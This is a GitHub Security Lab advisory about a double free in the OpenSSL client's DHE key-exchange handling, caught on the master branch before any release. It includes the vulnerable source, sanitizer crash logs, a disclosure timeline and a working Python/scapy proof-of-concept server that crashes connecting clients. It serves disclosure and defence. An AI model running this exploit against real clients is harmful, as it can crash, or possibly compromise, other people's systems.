March 31, 2020

GHSL-2020-056: Double free in OpenSSL client

Agustin Gianni

Summary

We have identified a security issue in OpenSSL in which an attacker can force a client into freeing the same memory twice in the context of a key exchange between the server and the client. The fact this vulnerability happens in the key exchange process, prior to any server certificate verification, makes the vulnerability more serious since the attacker does not need to supplant the identity of the server in order to successfully exploit the vulnerability.

Because this issue occurs on the client side of OpenSSL it has a reduced impact compared with issues on the server side, but that does not make it negligible.

The vulnerablity was fixed on the master repository before it was included in an OpenSSL release, for that reason we believe no projects should be currently affected. If you pull the code from master, you can check when the vulnerability was introduced on commit ada66e78ef5

Product

OpenSSL

Tested Version

OpenSSL master branch at commit f4c88073091592b1ff92ba12c894488ff7d03ece.

Details

The function tls_process_ske_dhe contains a double-free vulnerability that can be exploited by a malicious server or a network positioned attacker that has traffic shaping capabilities.

In the following code snippet at (1) two heap objects are created that will later contain the information parsed from the network. At (2), the function EVP_PKEY_assign_DH will store a raw pointer to the DH object without incrementing its reference count. Then ssl_security will perform security checks on the recently loaded keys. If this function fails it will jump straight to (4) and free the DH object along with the EVP_PKEY object at (5). The function EVP_PKEY_free will internally free any resources it holds, including the raw pointer to the DH object freed at (4).

#define EVP_PKEY_assign_DH(pkey,dh) EVP_PKEY_assign((pkey),EVP_PKEY_DH,(dh))

int EVP_PKEY_assign(EVP_PKEY *pkey, int type, void *key)
{
    int alias = type;

#ifndef OPENSSL_NO_EC
    if (EVP_PKEY_type(type) == EVP_PKEY_EC) {
        const EC_GROUP *group = EC_KEY_get0_group(key);

        if (group != NULL && EC_GROUP_get_curve_name(group) == NID_sm2)
            alias = EVP_PKEY_SM2;
    }
#endif

    if (pkey == NULL || !EVP_PKEY_set_type(pkey, type))
        return 0;
    if (!EVP_PKEY_set_alias_type(pkey, alias))
        return 0;
    pkey->pkey.ptr = key;
    return (key != NULL);
}

static int tls_process_ske_dhe(SSL *s, PACKET *pkt, EVP_PKEY **pkey)
{
#ifndef OPENSSL_NO_DH
    PACKET prime, generator, pub_key;
    EVP_PKEY *peer_tmp = NULL;

    DH *dh = NULL;
    BIGNUM *p = NULL, *g = NULL, *bnpub_key = NULL;

    int check_bits = 0;

    if (!PACKET_get_length_prefixed_2(pkt, &prime)
        || !PACKET_get_length_prefixed_2(pkt, &generator)
        || !PACKET_get_length_prefixed_2(pkt, &pub_key)) {
        SSLfatal(s, SSL_AD_DECODE_ERROR, SSL_F_TLS_PROCESS_SKE_DHE,
                 SSL_R_LENGTH_MISMATCH);
        return 0;
    }

    // #1: Create a generic key and a DH object.
    peer_tmp = EVP_PKEY_new();
    dh = DH_new();

    if (peer_tmp == NULL || dh == NULL) {
        SSLfatal(s, SSL_AD_INTERNAL_ERROR, SSL_F_TLS_PROCESS_SKE_DHE,
                 ERR_R_MALLOC_FAILURE);
        goto err;
    }

    /* TODO(size_t): Convert these calls */
    p = BN_bin2bn(PACKET_data(&prime), (int)PACKET_remaining(&prime), NULL);
    g = BN_bin2bn(PACKET_data(&generator), (int)PACKET_remaining(&generator),
                  NULL);
    bnpub_key = BN_bin2bn(PACKET_data(&pub_key),
                          (int)PACKET_remaining(&pub_key), NULL);
    if (p == NULL || g == NULL || bnpub_key == NULL) {
        SSLfatal(s, SSL_AD_INTERNAL_ERROR, SSL_F_TLS_PROCESS_SKE_DHE,
                 ERR_R_BN_LIB);
        goto err;
    }

    /* test non-zero pubkey */
    if (BN_is_zero(bnpub_key)) {
        SSLfatal(s, SSL_AD_ILLEGAL_PARAMETER, SSL_F_TLS_PROCESS_SKE_DHE,
                 SSL_R_BAD_DH_VALUE);
        goto err;
    }

    if (!DH_set0_pqg(dh, p, NULL, g)) {
        SSLfatal(s, SSL_AD_INTERNAL_ERROR, SSL_F_TLS_PROCESS_SKE_DHE,
                 ERR_R_BN_LIB);
        goto err;
    }
    p = g = NULL;

    if (DH_check_params(dh, &check_bits) == 0 || check_bits != 0) {
        SSLfatal(s, SSL_AD_ILLEGAL_PARAMETER, SSL_F_TLS_PROCESS_SKE_DHE,
                 SSL_R_BAD_DH_VALUE);
        goto err;
    }

    if (!DH_set0_key(dh, bnpub_key, NULL)) {
        SSLfatal(s, SSL_AD_INTERNAL_ERROR, SSL_F_TLS_PROCESS_SKE_DHE,
                 ERR_R_BN_LIB);
        goto err;
    }
    bnpub_key = NULL;

    // #2: Assign the DH raw pointer to the EVP_PKEY. This does not increment the reference count.
    if (EVP_PKEY_assign_DH(peer_tmp, dh) == 0) {
        SSLfatal(s, SSL_AD_INTERNAL_ERROR, SSL_F_TLS_PROCESS_SKE_DHE,
                 ERR_R_EVP_LIB);
        goto err;
    }

    // #3: If the parameters in the EVP_PKEY are deemed insecure, err.
    if (!ssl_security(s, SSL_SECOP_TMP_DH, EVP_PKEY_security_bits(peer_tmp),
                      0, dh)) {
        SSLfatal(s, SSL_AD_HANDSHAKE_FAILURE, SSL_F_TLS_PROCESS_SKE_DHE,
                 SSL_R_DH_KEY_TOO_SMALL);
        goto err;
    }

    s->s3.peer_tmp = peer_tmp;

    /*
     * FIXME: This makes assumptions about which ciphersuites come with
     * public keys. We should have a less ad-hoc way of doing this
     */
    if (s->s3.tmp.new_cipher->algorithm_auth & (SSL_aRSA | SSL_aDSS))
        *pkey = X509_get0_pubkey(s->session->peer);
    /* else anonymous DH, so no certificate or pkey. */

    return 1;

 err:
    BN_free(p);
    BN_free(g);
    BN_free(bnpub_key);

    // #4: Effectively free the DH structure.
    DH_free(dh);

    // #5: Free the EVP_PKEY and the underliying DH key which was already freed.
    EVP_PKEY_free(peer_tmp);

    return 0;
#else
    SSLfatal(s, SSL_AD_INTERNAL_ERROR, SSL_F_TLS_PROCESS_SKE_DHE,
             ERR_R_INTERNAL_ERROR);
    return 0;
#endif
}
int EVP_PKEY_assign(EVP_PKEY *pkey, int type, void *key)
{
    int alias = type;

#ifndef OPENSSL_NO_EC
    if (EVP_PKEY_type(type) == EVP_PKEY_EC) {
        const EC_GROUP *group = EC_KEY_get0_group(key);

        if (group != NULL && EC_GROUP_get_curve_name(group) == NID_sm2)
            alias = EVP_PKEY_SM2;
    }
#endif

    if (pkey == NULL || !EVP_PKEY_set_type(pkey, type))
        return 0;
    if (!EVP_PKEY_set_alias_type(pkey, alias))
        return 0;
    pkey->pkey.ptr = key;
    return (key != NULL);
}

Impact

A malicious server may use this vulnerability to execute arbitrary code in the context of a client.

Coordinated Disclosure Timeline

  • 03/27/2020: Report sent to Vendor
  • 03/27/2020: Vendor acknowledged report
  • 03/30/2020: Vendor proposed fixes
  • 03/31/2020: Fixes reviewed and verified

Supporting Resources

In the following sections you will find the code for a simple proof of concept that triggers the vulnerability by creating a fake TLS tcp server. Then by using openssl s_client we connect to said server to trigger the issue:

python exploit.py
Got connection: <socket.socket fd=6, family=AddressFamily.AF_INET, type=SocketKind.SOCK_STREAM, proto=0, laddr=('127.0.0.1', 4433), raddr=('127.0.0.1', 54190)>-('127.0.0.1', 54190)

Now run an openssl client, such as s_client under a debugger:

$ lldb openssl
(lldb) r s_client
Process 44349 launched: '/Users/anon/workspace/openssl/apps/openssl' (x86_64)
CONNECTED(00000004)
depth=0 C = SM, CN = Pirulo
verify error:num=18:self signed certificate
verify return:1
depth=0 C = SM, CN = Pirulo
verify return:1
=================================================================
==44349==ERROR: AddressSanitizer: heap-use-after-free on address 0x60f00002da40 at pc 0x000100838c01 bp 0x7ffeefbfaeb0 sp 0x7ffeefbfaea8
READ of size 8 at 0x60f00002da40 thread T0
2020-03-27 17:17:40.029610+0100 atos[44354:2368186] examining /Users/USER/*/openssl [44349]
2020-03-27 17:17:40.171682+0100 atos[44355:2368190] examining /Users/USER/*/openssl [44349]
    #0 0x100838c00 in DH_free dh_lib.c:133
    #1 0x10082411d in int_dh_free dh_ameth.c:52
    #2 0x100b3c37a in evp_pkey_free_legacy p_lib.c:1168
    #3 0x100b3ca7d in evp_pkey_free_it p_lib.c:1187
    #4 0x100b35f5b in EVP_PKEY_free p_lib.c:1210
    #5 0x1003e5ba7 in tls_process_ske_dhe statem_clnt.c:2180
    #6 0x1003d27ca in tls_process_key_exchange statem_clnt.c:2288
    #7 0x1003c824d in ossl_statem_client_process_message statem_clnt.c:1049
    #8 0x1003add59 in read_state_machine statem.c:637
    #9 0x1003aa4cc in state_machine statem.c:435
    #10 0x1003a7e86 in ossl_statem_connect statem.c:251
    #11 0x1002ff889 in ssl3_write_bytes rec_layer_s3.c:400
    #12 0x1001bb34c in ssl3_write s3_lib.c:4463
    #13 0x10022f398 in ssl_write_internal ssl_lib.c:2018
    #14 0x10022f8fc in SSL_write ssl_lib.c:2095
    #15 0x1000b4644 in s_client_main s_client.c:2885
    #16 0x1000645a9 in do_cmd openssl.c:486
    #17 0x100062e24 in main openssl.c:299
    #18 0x7fff6bf347fc in start (libdyld.dylib:x86_64+0x1a7fc)

0x60f00002da40 is located 160 bytes inside of 176-byte region [0x60f00002d9a0,0x60f00002da50)
freed by thread T0 here:
    #0 0x10226e536 in wrap_free (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x45536)
    #1 0x100be8608 in CRYPTO_free mem.c:252
    #2 0x1008394ac in DH_free dh_lib.c:153
    #3 0x1003e5b9b in tls_process_ske_dhe statem_clnt.c:2179
    #4 0x1003d27ca in tls_process_key_exchange statem_clnt.c:2288
    #5 0x1003c824d in ossl_statem_client_process_message statem_clnt.c:1049
    #6 0x1003add59 in read_state_machine statem.c:637
    #7 0x1003aa4cc in state_machine statem.c:435
    #8 0x1003a7e86 in ossl_statem_connect statem.c:251
    #9 0x1002ff889 in ssl3_write_bytes rec_layer_s3.c:400
    #10 0x1001bb34c in ssl3_write s3_lib.c:4463
    #11 0x10022f398 in ssl_write_internal ssl_lib.c:2018
    #12 0x10022f8fc in SSL_write ssl_lib.c:2095
    #13 0x1000b4644 in s_client_main s_client.c:2885
    #14 0x1000645a9 in do_cmd openssl.c:486
    #15 0x100062e24 in main openssl.c:299
    #16 0x7fff6bf347fc in start (libdyld.dylib:x86_64+0x1a7fc)

previously allocated by thread T0 here:
    #0 0x10226e3ed in wrap_malloc (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x453ed)
    #1 0x100be849b in CRYPTO_malloc mem.c:184
    #2 0x100be84d2 in CRYPTO_zalloc mem.c:191
    #3 0x1008375c8 in dh_new_intern dh_lib.c:71
    #4 0x100837592 in DH_new dh_lib.c:55
    #5 0x1003e5230 in tls_process_ske_dhe statem_clnt.c:2103
    #6 0x1003d27ca in tls_process_key_exchange statem_clnt.c:2288
    #7 0x1003c824d in ossl_statem_client_process_message statem_clnt.c:1049
    #8 0x1003add59 in read_state_machine statem.c:637
    #9 0x1003aa4cc in state_machine statem.c:435
    #10 0x1003a7e86 in ossl_statem_connect statem.c:251
    #11 0x1002ff889 in ssl3_write_bytes rec_layer_s3.c:400
    #12 0x1001bb34c in ssl3_write s3_lib.c:4463
    #13 0x10022f398 in ssl_write_internal ssl_lib.c:2018
    #14 0x10022f8fc in SSL_write ssl_lib.c:2095
    #15 0x1000b4644 in s_client_main s_client.c:2885
    #16 0x1000645a9 in do_cmd openssl.c:486
    #17 0x100062e24 in main openssl.c:299
    #18 0x7fff6bf347fc in start (libdyld.dylib:x86_64+0x1a7fc)

SUMMARY: AddressSanitizer: heap-use-after-free dh_lib.c:133 in DH_free
Shadow bytes around the buggy address:
  0x1c1e00005af0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x1c1e00005b00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa
  0x1c1e00005b10: fa fa fa fa fa fa 00 00 00 00 00 00 00 00 00 00
  0x1c1e00005b20: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa
  0x1c1e00005b30: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
=>0x1c1e00005b40: fd fd fd fd fd fd fd fd[fd]fd fa fa fa fa fa fa
  0x1c1e00005b50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c1e00005b60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c1e00005b70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c1e00005b80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c1e00005b90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
=================================================================
==44349==ERROR: AddressSanitizer: heap-use-after-free on address 0x60f00002da40 at pc 0x000100838c01 bp 0x7ffeefbfaeb0 sp 0x7ffeefbfaea8
READ of size 8 at 0x60f00002da40 thread T0
    #0 0x100838c00 in DH_free dh_lib.c:133
    #1 0x10082411d in int_dh_free dh_ameth.c:52
    #2 0x100b3c37a in evp_pkey_free_legacy p_lib.c:1168
    #3 0x100b3ca7d in evp_pkey_free_it p_lib.c:1187
    #4 0x100b35f5b in EVP_PKEY_free p_lib.c:1210
    #5 0x1003e5ba7 in tls_process_ske_dhe statem_clnt.c:2180
    #6 0x1003d27ca in tls_process_key_exchange statem_clnt.c:2288
    #7 0x1003c824d in ossl_statem_client_process_message statem_clnt.c:1049
    #8 0x1003add59 in read_state_machine statem.c:637
    #9 0x1003aa4cc in state_machine statem.c:435
    #10 0x1003a7e86 in ossl_statem_connect statem.c:251
    #11 0x1002ff889 in ssl3_write_bytes rec_layer_s3.c:400
    #12 0x1001bb34c in ssl3_write s3_lib.c:4463
    #13 0x10022f398 in ssl_write_internal ssl_lib.c:2018
    #14 0x10022f8fc in SSL_write ssl_lib.c:2095
    #15 0x1000b4644 in s_client_main s_client.c:2885
    #16 0x1000645a9 in do_cmd openssl.c:486
    #17 0x100062e24 in main openssl.c:299
    #18 0x7fff6bf347fc in start (libdyld.dylib:x86_64+0x1a7fc)
2020-03-27 17:17:59.104592+0100 openssl[44349:2367985]
0x60f00002da40 is located 160 bytes inside of 176-byte region [0x60f00002d9a0,0x60f00002da50)
freed by thread T0 here:
    #0 0x10226e536 in wrap_free (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x45536)
    #1 0x100be8608 in CRYPTO_free mem.c:252
    #2 0x1008394ac in DH_free dh_lib.c:153
    #3 0x1003e5b9b in tls_process_ske_dhe statem_clnt.c:2179
    #4 0x1003d27ca in tls_process_key_exchange statem_clnt.c:2288
    #5 0x1003c824d in ossl_statem_client_process_message statem_clnt.c:1049
    #6 0x1003add59 in read_state_machine statem.c:637
    #7 0x1003aa4cc in state_machine statem.c:435
    #8 0x1003a7e86 in ossl_statem_connect statem.c:251
    #9 0x1002ff889 in ssl3_write_bytes rec_layer_s3.c:400
    #10 0x1001bb34c in ssl3_write s3_lib.c:4463
    #11 0x10022f398 in ssl_write_internal ssl_lib.c:2018
    #12 0x10022f8fc in SSL_write ssl_lib.c:2095
    #13 0x1000b4644 in s_client_main s_client.c:2885
    #14 0x1000645a9 in do_cmd openssl.c:486
    #15 0x100062e24 in main openssl.c:299
    #16 0x7fff6bf347fc in start (libdyld.dylib:x86_64+0x1a7fc)
2020-03-27 17:17:59.104903+0100 openssl[44349:2367985]
previously allocated by thread T0 here:
    #0 0x10226e3ed in wrap_malloc (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x453ed)
    #1 0x100be849b in CRYPTO_malloc mem.c:184
    #2 0x100be84d2 in CRYPTO_zalloc mem.c:191
    #3 0x1008375c8 in dh_new_intern dh_lib.c:71
    #4 0x100837592 in DH_new dh_lib.c:55
    #5 0x1003e5230 in tls_process_ske_dhe statem_clnt.c:2103
    #6 0x1003d27ca in tls_process_key_exchange statem_clnt.c:2288
    #7 0x1003c824d in ossl_statem_client_process_message statem_clnt.c:1049
    #8 0x1003add59 in read_state_machine statem.c:637
    #9 0x1003aa4cc in state_machine statem.c:435
    #10 0x1003a7e86 in ossl_statem_connect statem.c:251
    #11 0x1002ff889 in ssl3_write_bytes rec_layer_s3.c:400
    #12 0x1001bb34c in ssl3_write s3_lib.c:4463
    #13 0x10022f398 in ssl_write_internal ssl_lib.c:2018
    #14 0x10022f8fc in SSL_write ssl_lib.c:2095
    #15 0x1000b4644 in s_client_main s_client.c:2885
    #16 0x1000645a9 in do_cmd openssl.c:486
    #17 0x100062e24 in main openssl.c:299
    #18 0x7fff6bf347fc in start (libdyld.dylib:x86_64+0x1a7fc)
2020-03-27 17:17:59.105102+0100 openssl[44349:2367985]
SUMMARY: AddressSanitizer: heap-use-after-free dh_lib.c:133 in DH_free
Shadow bytes around the buggy address:
  0x1c1e00005af0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x1c1e00005b00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa
  0x1c1e00005b10: fa fa fa fa fa fa 00 00 00 00 00 00 00 00 00 00
  0x1c1e00005b20: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa
  0x1c1e00005b30: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
=>0x1c1e00005b40: fd fd fd fd fd fd fd fd[fd]fd fa fa fa fa fa fa
  0x1c1e00005b50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c1e00005b60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c1e00005b70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c1e00005b80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x1c1e00005b90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==44349==ABORTING
(lldb) AddressSanitizer report breakpoint hit. Use 'thread info -s' to get extended information about the report.
Process 44349 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = Use of deallocated memory
    frame #0: 0x0000000102276ad0 libclang_rt.asan_osx_dynamic.dylib`__asan::AsanDie()
libclang_rt.asan_osx_dynamic.dylib`__asan::AsanDie:
->  0x102276ad0 <+0>: pushq  %rbp
    0x102276ad1 <+1>: movq   %rsp, %rbp
    0x102276ad4 <+4>: pushq  %rbx
    0x102276ad5 <+5>: pushq  %rax
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = Use of deallocated memory
  * frame #0: 0x0000000102276ad0 libclang_rt.asan_osx_dynamic.dylib`__asan::AsanDie()
    frame #1: 0x000000010228d63f libclang_rt.asan_osx_dynamic.dylib`__sanitizer::Die() + 175
    frame #2: 0x000000010227474b libclang_rt.asan_osx_dynamic.dylib`__asan::ScopedInErrorReport::~ScopedInErrorReport() + 411
    frame #3: 0x000000010227401e libclang_rt.asan_osx_dynamic.dylib`__asan::ReportGenericError(unsigned long, unsigned long, unsigned long, unsigned long, bool, unsigned long, unsigned int, bool) + 430
    frame #4: 0x0000000102274c58 libclang_rt.asan_osx_dynamic.dylib`__asan_report_load8 + 40
    frame #5: 0x0000000100838c01 openssl`DH_free(r=0x000060f00002d9a0) at dh_lib.c:133:44
    frame #6: 0x000000010082411e openssl`int_dh_free(pkey=0x00006120000004c0) at dh_ameth.c:52:5
    frame #7: 0x0000000100b3c37b openssl`evp_pkey_free_legacy(x=0x00006120000004c0) at p_lib.c:1168:13
    frame #8: 0x0000000100b3ca7e openssl`evp_pkey_free_it(x=0x00006120000004c0) at p_lib.c:1187:5
    frame #9: 0x0000000100b35f5c openssl`EVP_PKEY_free(x=0x00006120000004c0) at p_lib.c:1210:5
    frame #10: 0x00000001003e5ba8 openssl`tls_process_ske_dhe(s=0x0000624000012100, pkt=0x00007ffeefbfba90, pkey=0x00007ffeefbfb5c0) at statem_clnt.c:2180:5
    frame #11: 0x00000001003d27cb openssl`tls_process_key_exchange(s=0x0000624000012100, pkt=0x00007ffeefbfba90) at statem_clnt.c:2288:14
    frame #12: 0x00000001003c824e openssl`ossl_statem_client_process_message(s=0x0000624000012100, pkt=0x00007ffeefbfba90) at statem_clnt.c:1049:16
    frame #13: 0x00000001003add5a openssl`read_state_machine(s=0x0000624000012100) at statem.c:637:19
    frame #14: 0x00000001003aa4cd openssl`state_machine(s=0x0000624000012100, server=0x00000000) at statem.c:435:21
    frame #15: 0x00000001003a7e87 openssl`ossl_statem_connect(s=0x0000624000012100) at statem.c:251:12
    frame #16: 0x00000001002ff88a openssl`ssl3_write_bytes(s=0x0000624000012100, type=0x00000017, buf_=0x000062500000f100, len=0, written=0x00007ffeefbfd320) at rec_layer_s3.c:400:13
    frame #17: 0x00000001001bb34d openssl`ssl3_write(s=0x0000624000012100, buf=0x000062500000f100, len=0, written=0x00007ffeefbfd320) at s3_lib.c:4463:12
    frame #18: 0x000000010022f399 openssl`ssl_write_internal(s=0x0000624000012100, buf=0x000062500000f100, num=0, written=0x00007ffeefbfd320) at ssl_lib.c:2018:16
    frame #19: 0x000000010022f8fd openssl`SSL_write(s=0x0000624000012100, buf=0x000062500000f100, num=0x00000000) at ssl_lib.c:2095:11
    frame #20: 0x00000001000b4645 openssl`s_client_main(argc=0x00000000, argv=0x00007ffeefbff7e0) at s_client.c:2885:17
    frame #21: 0x00000001000645aa openssl`do_cmd(prog=0x000060f0000004f0, argc=0x00000001, argv=0x00007ffeefbff7e0) at openssl.c:486:16
    frame #22: 0x0000000100062e25 openssl`main(argc=0x00000001, argv=0x00007ffeefbff7e0) at openssl.c:299:15
    frame #23: 0x00007fff6bf347fd libdyld.dylib`start + 1
    frame #24: 0x00007fff6bf347fd libdyld.dylib`start + 1
(lldb)

Exploit

The following Python script creates a TLS server listening on port 4433 and waits for a client connection to send its (crashing) payload.

# NOTE: Create a certificate pair before running the exploit.
# openssl req -x509 -nodes -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365

import socket
from scapy.layers.tls.all import TLS
from scapy.layers.tls.handshake import *
from scapy.fields import *


class DHEParams(Packet):
    name = "DHEParams"
    fields_desc = [
        FieldLenField("prime_len", None, length_of="prime"),
        StrLenField("prime", "", length_from=lambda pkt: pkt.prime_len),

        FieldLenField("generator_len", None, length_of="generator"),
        StrLenField("generator", "",
                    length_from=lambda pkt: pkt.generator_len),

        FieldLenField("pub_key_len", None, length_of="pub_key"),
        StrLenField("pub_key", "", length_from=lambda pkt: pkt.pub_key_len)
    ]


try:
    serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    serversocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

    serversocket.bind(("localhost", 4433))
    serversocket.listen(5)

    while True:
        (clientsocket, address) = serversocket.accept()

        print("Got connection: %r-%r" % (clientsocket, address))

        clientsocket.recv(4096 * 32)

        cert = Cert("cert.pem")

        # Small key to trigger a SSL_R_DH_KEY_TOO_SMALL (openssl dhparam -C -check 512).
        dh_p = bytes([
            0xAF, 0x73, 0x3D, 0x2C, 0xC6, 0xAA, 0x42, 0xD4, 0xF2, 0xE6, 0xFF, 0x94,
            0xD6, 0x7A, 0xDE, 0x8C, 0xEC, 0x89, 0x47, 0x3A, 0x3C, 0x6B, 0x37, 0xAF,
            0x02, 0xBF, 0xB9, 0xA5, 0x9D, 0x51, 0x86, 0xC1, 0x7E, 0x45, 0x7C, 0x39,
            0xEE, 0x5B, 0x4C, 0xAA, 0xF3, 0x36, 0x9C, 0xF0, 0xD4, 0xF6, 0x96, 0x98,
            0xF4, 0xE0, 0x51, 0x4B, 0x62, 0x39, 0x56, 0x5A, 0x58, 0xB8, 0xD1, 0x81,
            0xD6, 0x1E, 0x6B, 0x2B
        ])

        dh_g = bytes([0x02])
        dh_Ys = b"GOOSE"

        # Fill our params.
        params = DHEParams(prime=dh_p, generator=dh_g, pub_key=dh_Ys)

        # Choose DHE-RSA-CHACHA20-POLY1305 as our cipher.
        response = TLSServerHello(version=0x0303, cipher=0xccaa) / \
            TLSCertificate(certs=[cert]) / \
            TLSServerKeyExchange(params=[params]) / \
            TLSServerHelloDone()

        clientsocket.sendall(raw(TLS(msg=response)))
        clientsocket.close()

    serversocket.close()

except Exception as e:
    print("Got exception: %r" % e)
    raise e

Credit

This issue was discovered and reported by GHSL team member @agustingianni (Agustin Gianni).

Contact

You can contact the GHSL team at securitylab@github.com, please include GHSL-2020-056 in any communication regarding this issue.